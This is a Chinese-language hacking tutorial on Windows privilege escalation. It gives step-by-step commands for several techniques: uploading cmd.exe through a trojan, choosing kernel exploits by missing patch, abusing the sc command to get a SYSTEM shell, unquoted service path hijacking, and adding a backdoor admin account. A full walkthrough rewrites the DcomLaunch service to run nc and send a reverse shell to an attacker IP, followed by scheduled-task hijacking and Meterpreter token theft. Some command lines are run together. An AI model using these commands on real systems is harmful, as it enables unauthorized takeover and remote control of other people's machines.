一、常见提权方法
1、溢出漏洞提权
2、数据库提权
3、第三方软件提权
二、Cmd命令无法执行原因分析
1、Cmd命令无法执行分析
主要原因是cmd.exe被管理员降权或删除,也有可能组件被删除。
2、Cmd命令执行解决方法
通过脚本木马查找可读可写目录,上传cmd,调用cmd路径执行命令(找可读可写目录不要选带空格目录)。
setp c:\路径...\cmd.exe #切换至上传的cmd来执行命令
三、提权常用命令讲解
whoami ——查看用户权限
systeminfo ——查看操作系统,补丁情况
ipconfig——查看当前服务器
IPipconfig/allnet user——查看当前用户情况
netstat ——查看当前网络连接情况
netstat –ano/netstat –an|find“ESTABLISHED”tasklist ——查看当前进程情况
tasklist/svctaskkill ——结束进程
taskkill-PIDxxnet start ——启动服务net stop ——停止服务
⚪微软官方时刻关注列表网址:
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017
比如常用的几个已公布的 exp:KB2592799KB3000061KB2592799
🔴快速查找未打补丁的 exp,可以最安全的减少目标机的未知错误,以免影响业务。 命令行下执行检测未打补丁的命令如下:
systeminfo>micropoor.txt&(for%iin(KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780)do@typemicropoor.txt|@find/i"%i"||@echo%i you can fuck)&del/f/q/a micropoor.txt
⛔一般实战中在类似 tmp 目录等可写目录下执行:如 C:\tmp>
⚫目前已对外公开exp注:
https://github.com/SecWiki/windows-kernel-exploits
四、溢出漏洞提权实战测试
五、溢出漏洞安全防范
🟣及时通过Windows Update或第三方工具360更新补丁
UAC介绍
UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。
当前获得的权限是存在于管理员组的时候但是并且是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac
windows 7、8、08、12、16
sc 命令提权(administrator–>system)
ps:经测试03也可以。
关于sc命令:
SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
sc Create syscmd binPath= “cmd /K start” type= own type= interact
这个命令的意思是创建一个名叫syscmd的新的交互式的cmd服务然后执行
sc start systcmd,就得到了一个system权限的cmd环境
不带引号的服务路径
<meta charset="utf-8">
Windows命令解释程序可能会遇到名称中的空格,并且没有包装在引号中的时候。就有可能出现解析漏洞,如下述路径,C:\Program Files\Vulnerable.exe中存在空格,此时在C盘根目录上传Program.exe文件时,就会被目标开机自启动。如果无效,还可以尝试在C:\Program Files路径下上传Vulnerable.exe文件。
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\Sub.exe
C:\Program Files\Vulnerable Service\Sub Directory\service.exe
我们可以使用以下命令查看错误配置的路径
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
4.4、利用不安全的服务权限
即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它。
AccessChk工具可以用来查找用户可以修改的服务:
accesschk.exe -uwcqv “Authenticated Users” * /accepteula
accesschk.exe -uwcqv “user” *
sc命令也可以用来查找用户可以修改的服务:
sc qc “Service” #查找可以修改的服务
sc config PFNET binpath= “net user rottenadmin P@ssword123! /add”
sc stop PFNET
sc start PFNET
每当我们开启服务时sc命令都返回了一个错误。这是因为net user命令没有指向二进制服务,因此SCM无法 与服务进行通信,通过使用执行自动迁移到新进程的payload,手动迁移进程,或者在执行后将服务的bin路径设置回原始服务二进制文件,可以解决这个问题。或者我们在权限允许的情况下,将我们的木马放到服务目录下,并重命名为服务启动的应用名称。电脑重启时即可获得一个system的shell
完整案例:
①、利用系统自带的 DcomLaunch服务测试(此服务Power User组低权可操作)
“sc qc DcomLaunch”命令查询DcomLaunch的详细信息
net start | find "DCOM Server Process Launcher" 查看服务是否启动
运行 tasklist /svc 找到对应服务
②、修改服务并获取系统权限
这里要配置使用nc反弹shell到我的攻击机上,把nc放到c:\windows\temp目录下,使用sc对服务进行修改
sc config DcomLaunch binpath= "C:\wmpub\nc.exe -nv 192.168.32.194 4433 -e C:\WINDOWS\system32\cmd.exe"
⛔注意binpath=后面一定要有个空格,IP为攻击者IP
③、查看是否第二步成功
sc qc DcomLaunch
④、配置账号密码
sc config DcomLaunch obj= ".\LocalSystem" password= ""
obj:指定运行服务将使用的帐户名,或指定运行驱动程序将使用的 Windows 驱动程序对象名。默认设置为 LocalSystem。
password:指定一个密码。如果使用了非 LocalSystem 的帐户,则此项是必需的。
⑤、重启服务
net start DcomLaunch
⑥、攻击机上用nc进行监听4433即可得到反弹的shell
nc.exe -vv -l -p 4433
4.5、计划任务
如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行恶意程序。
schtasks /query /fo LIST /v #查看计算机的计划任务
accesschk.exe -dqv "D:\test" -accepteula #查看指定目录的权限配置情况
4.6、Meterpreter基础提权
首先在Meterpreter会话执行ps命令查看目标机当前进程:
假设此处看到了一个进程,运行账户是域管理员,我们可以再第一栏找到对应的进程PID,(实际我们这里找个任意的SYSTEM账户运行的进程),PID为2584:
然后我们可以执行以下语句窃取该用户进程的令牌:
steal_token 2584
五、溢出漏洞安全防范
🟣及时通过Windows Update或第三方工具360更新补丁
在dos命令窗口输入systeminfo 命令回车,显示所有系统补丁相关信息